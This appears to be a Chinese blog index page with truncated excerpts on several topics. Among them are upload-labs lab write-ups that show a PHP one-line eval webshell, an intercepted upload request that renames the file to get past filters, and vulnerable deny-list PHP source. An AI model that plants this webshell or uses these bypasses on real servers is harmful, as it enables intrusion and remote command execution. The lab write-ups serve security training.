OJ沙盒的使用

OJ沙盒的使用 参考项目 沙盒 设置绝对路径 默认文件存储在内存里,使用 -dir 指定本地目录为文件存储 1 ./sandbox -dir "./temp" 测试 python 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

Once 单例对象初始化

Once使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package main import ( "fmt" "sync" ) func main() { var once sync.Once // 第一个初始化函数 f1 := func() { fmt.Println("in f1") } once.Do(f1) // 打印出 in f1 // 第二个初始化函数 f2

pass-01

upload-labs 01 学习 1 <?php eval($_POST[cmd]) ?> 将 webshell.php 改为 webshell.php.jpg 右键 将findler软件 unlock for editing 允许修改请求头 rules -> breakpoints -> before request 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ------WebKitFormBoundaryxOVc8BMvlOWwyrBX Content-Disposition: form-data; name="upload_file"; filename="webshell.php" Content-Type: image/jpeg <?php eval($_POST[cmd]) ?> ------WebKitFormBoundaryxOVc8BMvlOWwyrBX Content-Disposition: form-data; name="submit" 上

pass-02 【修改请求头】

分析源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg =

pass-02 【修改请求头】

黑名单绕过 .htaccess 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name

pass-06 【大小写绕过漏洞】

大小写绕过漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name

powershell常用计算

参考博客 十进制转二进制 1 2 3 PS D:\ASUS\Desktop> [System.Convert]::ToString(224,2) 11100000 N进制转十进制 1 2 PS D:\ASUS\Desktop> [System.Convert]::ToInt32(24,8) 20

python实现判题程序

python 脚本总结 python判题程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

rabbitMQ 、Kafka、ActiveMq 等

几款 MQ 的性能对比 ActiveMQ: JMS 规范 (java 定义的规范),支持事务,支持XA 协议(支持事务消息), 没有生成大规模支撑场景,官方文档维护越来越少 RabbitMQ : erlang 语言开发,
T